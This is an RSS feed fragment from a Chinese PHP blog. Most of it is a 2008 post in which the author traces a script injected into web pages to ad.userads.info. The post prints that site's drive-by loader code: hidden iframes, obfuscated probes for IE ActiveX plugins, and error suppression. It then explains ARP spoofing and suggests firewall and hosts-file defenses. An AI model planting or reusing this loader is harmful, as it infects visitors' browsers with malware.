</span><span style="font-family: 'Courier New'; color: #008080;">11</span><span style="font-family: 'Courier New'; color: #000000;"><img style="border: 0px initial initial;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /> }</span><br />
之所以提到这点是因为在Zend_Controller_Action_Helper_ViewRenderer注释中你能看到这句话<br />
// In your action controller methods:<br />
$viewHelper = $this-&gt;_helper-&gt;getHelper(&#8216;view&#8217;);<br />
而实际上你复制这句话到your action controller methods中去 只会出错<br />
Exception information:</p>
<p>Message: Action Helper by name View not found</p>
<p>个人感觉php Zend Framework还是很不错,虽然一直没搞好调试器<br />
但是非常满意于可以随处置放var_dump<br />
<h3 class="bsuite_related">Related items</h3>
<ul class="bsuite_related">
<li><a href='http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/'>今日到南京上网，发现偶尔打开的网页出现如下代码</a></li>
<li><a href='http://www.pkphp.com/2008/08/27/zend-framework-exception/'>zend framework错误或者异常信息捕捉</a></li>
<li><a href='http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/'>jQuery AJAX in Zend Framework</a></li>
<li><a href='http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/'>Zend Framework V1.5 中的新特性</a></li>
<li><a href='http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/'>【转帖】Zend Framework中Ajax的一个使用技巧</a></li>
</ul>
<a href="http://www.pkphp.com/2010/01/09/zend-framework-render-intro/" title="php framework" style="font-size: 13px;">php framework</a>(1)<a href="http://www.pkphp.com/2010/01/09/zend-framework-render-intro/" title="php zend framework" style="font-size: 13px;">php zend framework</a>(5)<a href="http://www.pkphp.com/2010/01/09/zend-framework-render-intro/" title="zend framework render" style="font-size: 13px;">zend framework render</a>(4)<a href="http://www.pkphp.com/2010/01/09/zend-framework-render-intro/" title="zend framework 禁用视图" style="font-size: 13px;">zend framework 禁用视图</a>(1)<a href="http://www.pkphp.com/2010/01/09/zend-framework-render-intro/" title="php 类 render" style="font-size: 13px;">php 类 render</a>(1)<a href="http://www.pkphp.com/2010/01/09/zend-framework-render-intro/" title="zend render 传递参数" style="font-size: 13px;">zend render 传递参数</a>(1)<a href="http://www.pkphp.com/2010/01/09/zend-framework-render-intro/" title="php {}" style="font-size: 13px;">php {}</a>(1)<a href="http://www.pkphp.com/2010/01/09/zend-framework-render-intro/" title="zend framework action render" style="font-size: 13px;">zend framework action render</a>(1)<a href="http://www.pkphp.com/2010/01/09/zend-framework-render-intro/" title="php ?:" style="font-size: 13px;">php ?:</a>(1)<a href="http://www.pkphp.com/2010/01/09/zend-framework-render-intro/" title="zend frameworks 两个视图" style="font-size: 13px;">zend frameworks 两个视图</a>(1)<a href="http://www.pkphp.com/2010/01/09/zend-framework-render-intro/" title="$this-&gt;render()" style="font-size: 13px;">$this-&gt;render()</a>(1)<a href="http://www.pkphp.com/2010/01/09/zend-framework-render-intro/" title="zend framework view" style="font-size: 13px;">zend framework view</a>(1)<a href="http://www.pkphp.com/2010/01/09/zend-framework-render-intro/" title="zend framework foreach的用法" style="font-size: 13px;">zend framework foreach的用法</a>(1)<a href="http://www.pkphp.com/2010/01/09/zend-framework-render-intro/" title="php controller action render" style="font-size: 13px;">php controller action render</a>(1)<a href="http://www.pkphp.com/2010/01/09/zend-framework-render-intro/" title="Zend Framework 指定视图文件" style="font-size: 13px;">Zend Framework 指定视图文件</a>(1)<br /><table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2010%2F01%2F09%2Fzend-framework-render-intro%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Zend Framework V1.5 中的新特性</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2010%2F01%2F09%2Fzend-framework-render-intro%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">jQuery AJAX in Zend Framework</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2010%2F01%2F09%2Fzend-framework-render-intro%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">zend framework错误或者异常信息捕捉</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F01%2F%25E3%2580%2590%25E8%25BD%25AC%25E5%25B8%2596%25E3%2580%2591zend-framework%25E4%25B8%25ADajax%25E7%259A%2584%25E4%25B8%2580%25E4%25B8%25AA%25E4%25BD%25BF%25E7%2594%25A8%25E6%258A%2580%25E5%25B7%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2010%2F01%2F09%2Fzend-framework-render-intro%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">【转帖】Zend Framework中Ajax的一个使用技巧</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件" rel="nofollow">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://www.pkphp.com/2010/01/09/zend-framework-render-intro/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>今日到南京上网，发现偶尔打开的网页出现如下代码</title>
		<link>http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/</link>
		<comments>http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/#comments</comments>
		<pubDate>Wed, 10 Sep 2008 05:46:08 +0000</pubDate>
		<dc:creator>askie</dc:creator>
				<category><![CDATA[zend framework]]></category>
		<category><![CDATA[百宝箱]]></category>
		<category><![CDATA[ad.userads.info]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[木马]]></category>

		<guid isPermaLink="false">http://www.pkphp.com/?p=632</guid>
		<description><![CDATA[当打开某个新的域名是，偶尔网页会出现如下代码，代码在网页中出现的位置不固定，有时候在网页头部，有时候...<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F09%2F03%2Fspy-getstring-function%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F09%2F10%2F%25E4%25BB%258A%25E6%2597%25A5%25E5%2588%25B0%25E5%258D%2597%25E4%25BA%25AC%25E4%25B8%258A%25E7%25BD%2591%25EF%25BC%258C%25E5%258F%2591%25E7%258E%25B0ff%25E5%2581%25B6%25E5%25B0%2594%25E6%2589%2593%25E5%25BC%2580%25E7%259A%2584%25E7%25BD%2591%25E9%25A1%25B5%25E5%2587%25BA%25E7%258E%25B0%25E5%25A6%2582%25E4%25B8%258B%25E4%25BB%25A3%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">蝈蝈采集程序核心代码：任意字符串截取函数</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F25%2Flinux%25E5%2592%258Cwindows%25E4%25B8%258B%25E5%259D%2587%25E5%258F%25AF%25E6%259F%25A5%25E8%25AF%25A2pr%25E7%259A%2584php%25E4%25BB%25A3%25E7%25A0%2581%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F09%2F10%2F%25E4%25BB%258A%25E6%2597%25A5%25E5%2588%25B0%25E5%258D%2597%25E4%25BA%25AC%25E4%25B8%258A%25E7%25BD%2591%25EF%25BC%258C%25E5%258F%2591%25E7%258E%25B0ff%25E5%2581%25B6%25E5%25B0%2594%25E6%2589%2593%25E5%25BC%2580%25E7%259A%2584%25E7%25BD%2591%25E9%25A1%25B5%25E5%2587%25BA%25E7%258E%25B0%25E5%25A6%2582%25E4%25B8%258B%25E4%25BB%25A3%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">linux和windows下均可查询pr的php代码</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F25%2Fphp%25E6%259F%25A5%25E8%25AF%25A2alexa%25E6%258E%2592%25E5%2590%258D%25E7%259A%2584%25E4%25BB%25A3%25E7%25A0%2581%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F09%2F10%2F%25E4%25BB%258A%25E6%2597%25A5%25E5%2588%25B0%25E5%258D%2597%25E4%25BA%25AC%25E4%25B8%258A%25E7%25BD%2591%25EF%25BC%258C%25E5%258F%2591%25E7%258E%25B0ff%25E5%2581%25B6%25E5%25B0%2594%25E6%2589%2593%25E5%25BC%2580%25E7%259A%2584%25E7%25BD%2591%25E9%25A1%25B5%25E5%2587%25BA%25E7%258E%25B0%25E5%25A6%2582%25E4%25B8%258B%25E4%25BB%25A3%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">php查询alexa排名的代码</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F09%2F27%2Fhow-to-sold-item-from-blog-of-self%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F09%2F10%2F%25E4%25BB%258A%25E6%2597%25A5%25E5%2588%25B0%25E5%258D%2597%25E4%25BA%25AC%25E4%25B8%258A%25E7%25BD%2591%25EF%25BC%258C%25E5%258F%2591%25E7%258E%25B0ff%25E5%2581%25B6%25E5%25B0%2594%25E6%2589%2593%25E5%25BC%2580%25E7%259A%2584%25E7%25BD%2591%25E9%25A1%25B5%25E5%2587%25BA%25E7%258E%25B0%25E5%25A6%2582%25E4%25B8%258B%25E4%25BB%25A3%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">如何在自己的博客上卖淘宝店铺的商品？如何免费推广自己淘宝商品？</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>当打开某个新的域名是，偶尔网页会出现如下代码，代码在网页中出现的位置不固定，有时候在网页头部，有时候在body内，难道是所在的局域网中毒？</p>
<pre id="line1"><code>&lt;<span class="start-tag">script</span><span class="attribute-name"> language</span>=<span class="attribute-value">"javascript" </span><span class="attribute-name">SRC</span>=<span class="attribute-value">"http://ad.userads.info/ads.js"</span>&gt;&lt;/<span class="end-tag">script</span>&gt;</code></pre>
<p>追踪http://ad.userads.info/ads.js<br />
会出现如代码：</p>
<pre><code>document.writeln("&lt;script&gt;");
document.writeln("function oK_Begin(){");
document.writeln("var Then = new Date() ");
document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
document.writeln("var cookieString = new String(document.cookie)");
document.writeln("var cookieHeader = \"Cookie1=\" ");
document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
document.writeln("if (beginPosition != -1){ ");
document.writeln("} else ");
document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString() ");
document.writeln("document.write(\'&lt;iframe width=0 height=0 src=\"http://ad.userads.info/in.htm\"&gt;
&lt;\/iframe&gt;\');");
document.writeln("}");
document.writeln("}");
document.writeln("oK_Begin();");
document.writeln("&lt;\/script&gt;");
document.writeln("&lt;script&gt;window.onerror=function(){return true;}&lt;\/script&gt;")</code></pre>
<p>还没有时间分析这个js代码有啥危害，不过感觉应该不是什么好动西！现在的病毒真是无孔不入啊！<br />
使用firefox和chrome都会出现，看来不是浏览器的问题！</p>
<p>继续追踪：http://ad.userads.info/in.htm</p>
<pre id="line1"><code>&lt;<span class="start-tag">script</span>&gt;
window.status="完成";
window.onerror=function(){return true;}
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)
document.write("&lt;iframe width=20 height=0 src=14.htm&gt;&lt;/iframe&gt;");
document.write("&lt;iframe width=20 height=0 src=flash.htm&gt;&lt;/iframe&gt;");
document.write("&lt;iframe width=20 height=0 src=re10.htm&gt;&lt;/iframe&gt;");
document.write("&lt;iframe width=20 height=0 src=uu.htm&gt;&lt;/iframe&gt;");
try{var f;
var gw=new ActiveXObject("\x47\x4c\x49\x45\x44\x6f\x77\x6e\x2e\x49\x45\x44\x6f\x77\x6e\x2e\x31");}
catch(f){};
finally{if(f!="[object Error]"){document.write("&lt;iframe width=100 height=0 src=lz.htm&gt;&lt;/iframe&gt;");}}
try{var m;
var gw=new ActiveXObject("\x49\x45\x52\x50\x43\x74\x6C\x2E\x49\x45\x52\x50\x43\x74\x6C\x2E\x31");}
catch(m){};
finally{if(m!="[object Error]"){document.write("&lt;iframe width=100 height=0 src=re11.htm&gt;&lt;/iframe&gt;");}}
&lt;/<span class="end-tag">script</span>&gt;
&lt;<span class="start-tag">iframe</span><span class="attribute-name"> width</span>=<span class="attribute-value">100 </span><span class="attribute-name">height</span>=<span class="attribute-value">0 </span><span class="attribute-name">src</span>=<span class="attribute-value">flash.htm</span>&gt;&lt;/<span class="end-tag">iframe</span>&gt;
&lt;<span class="start-tag">iframe</span><span class="attribute-name"> width</span>=<span class="attribute-value">100 </span><span class="attribute-name">height</span>=<span class="attribute-value">0 </span><span class="attribute-name">src</span>=<span class="attribute-value">sina.htm</span>&gt;&lt;/<span class="end-tag">iframe</span>&gt;
&lt;<span class="start-tag">iframe</span><span class="attribute-name"> width</span>=<span class="attribute-value">100 </span><span class="attribute-name">height</span>=<span class="attribute-value">0 </span><span class="attribute-name">src</span>=<span class="attribute-value">office.htm</span>&gt;&lt;/<span class="end-tag">iframe</span>&gt;
&lt;<span class="start-tag">script</span><span class="attribute-name"> type</span>=<span class="attribute-value">"text/javascript" </span><span class="attribute-name">src</span>=<span class="attribute-value">"http://js.tongji.cn.yahoo.com/695113/ystat.js"</span>&gt;&lt;/<span class="end-tag">script</span>&gt;&lt;<span class="start-tag">noscript</span>&gt;
&lt;a href="http://tongji.cn.yahoo.com"&gt;&lt;img src="http://img.tongji.cn.yahoo.com/695113/ystat.gif"/&gt;&lt;/a&gt;
&lt;/<span class="end-tag">noscript</span>&gt;</code></pre>
<p>这个里面所有文件就是木马程序，幸亏使用firefox上网，要是ie肯定就中招了！唉！垃圾木马制造者！你们真是垃圾中的战斗机啊！</p>
<p>这个病毒看来是ARP攻击了，这种木马一旦局域网内的一台机器中毒了，这个机器会攻击路由器或者网关，模拟路由器或者网关的mac地址，向局域网内的所有机器发送病毒代码，也就是说这台机器模拟了路由器或者网关，当你上网的时候需要经过路由器或者网关，而冒充的网关就给你网页代码路过的时候增加了病毒代码。这样你打开的每个网页都可能有病毒。遇到这种情况你需要安装arp防火墙，这里有免费的，就是<a href="http://www.360.cn/down/soft_down11.html" target="_blank" rel="nofollow">360ARP防火墙</a>。</p>
<p>安装后的防火墙能够过滤冒牌的路由器或者网关发送过来的病毒代码，使得你的上网安全。在这里想免费的360致敬！</p>
<p>第二种解决办法：在本地host表中，将ad.userads.info解析到本机ip：127.0.0.1这样即使你的机器遇到了这个木马代码，木马也无法下载病毒到你的本机，从而保证了你本地机器的安全。这种解决措施也是目前360软件的解决方案。<br />
<h3 class="bsuite_related">Related items</h3>
<ul class="bsuite_related">
<li><a href='http://www.pkphp.com/2008/09/27/how-to-sold-item-from-blog-of-self/'>如何在自己的博客上卖淘宝店铺的商品？如何免费推广自己淘宝商品？</a></li>
<li><a href='http://www.pkphp.com/2008/09/03/spy-getstring-function/'>蝈蝈采集程序核心代码：任意字符串截取函数</a></li>
<li><a href='http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/'>如何防止服务器被暴力破解密码？</a></li>
<li><a href='http://www.pkphp.com/2011/05/27/get-your-mr-right-web-hosting-here/'>Get your Mr Right web hosting here</a></li>
<li><a href='http://www.pkphp.com/2011/04/07/centos-iftop/'>centOS带宽实时流量查看工具</a></li>
</ul>
<a href="http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/" title=""ad.userads" style="font-size: 13px;">"ad.userads</a>(2)<a href="http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/" title="userads" style="font-size: 13px;">userads</a>(2)<a href="http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/" title="userads.info" style="font-size: 13px;">userads.info</a>(4)<a href="http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/" title="ad.userads.info" style="font-size: 13px;">ad.userads.info</a>(16)<a href="http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/" title="ad.userads.info/ads.js" style="font-size: 13px;">ad.userads.info/ads.js</a>(7)<a href="http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/" title="&lt;script language="javascript SRC="http://ad.userads.info/ads.js"&gt;&lt;/script&gt;" style="font-size: 13px;">&lt;script language="javascript SRC="http://ad.userads.info/ads.js"&gt;&lt;/script&gt;</a>(4)<a href="http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/" title="http://ad.userads.info/14.htm是什么" style="font-size: 13px;">http://ad.userads.info/14.htm是什么</a>(1)<a href="http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/" title="ad.userads" style="font-size: 13px;">ad.userads</a>(2)<a href="http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/" title="//ad.userads.info/in.htm" style="font-size: 13px;">//ad.userads.info/in.htm</a>(1)<a href="http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/" title="木马 userads.info" style="font-size: 13px;">木马 userads.info</a>(1)<a href="http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/" title="http://ad.userads.info/ads.js" style="font-size: 13px;">http://ad.userads.info/ads.js</a>(2)<a href="http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/" title="http://ad.userads.info/14.htm" style="font-size: 13px;">http://ad.userads.info/14.htm</a>(2)<a href="http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/" title="病毒http://ad.userads.info/14.htm" style="font-size: 13px;">病毒http://ad.userads.info/14.htm</a>(1)<a href="http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/" title="http://ad.userads.info/in.htm" style="font-size: 13px;">http://ad.userads.info/in.htm</a>(1)<a href="http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/" title="ad.userads.info/in.htm" style="font-size: 13px;">ad.userads.info/in.htm</a>(1)<br /><table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F09%2F03%2Fspy-getstring-function%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F09%2F10%2F%25E4%25BB%258A%25E6%2597%25A5%25E5%2588%25B0%25E5%258D%2597%25E4%25BA%25AC%25E4%25B8%258A%25E7%25BD%2591%25EF%25BC%258C%25E5%258F%2591%25E7%258E%25B0ff%25E5%2581%25B6%25E5%25B0%2594%25E6%2589%2593%25E5%25BC%2580%25E7%259A%2584%25E7%25BD%2591%25E9%25A1%25B5%25E5%2587%25BA%25E7%258E%25B0%25E5%25A6%2582%25E4%25B8%258B%25E4%25BB%25A3%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">蝈蝈采集程序核心代码：任意字符串截取函数</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
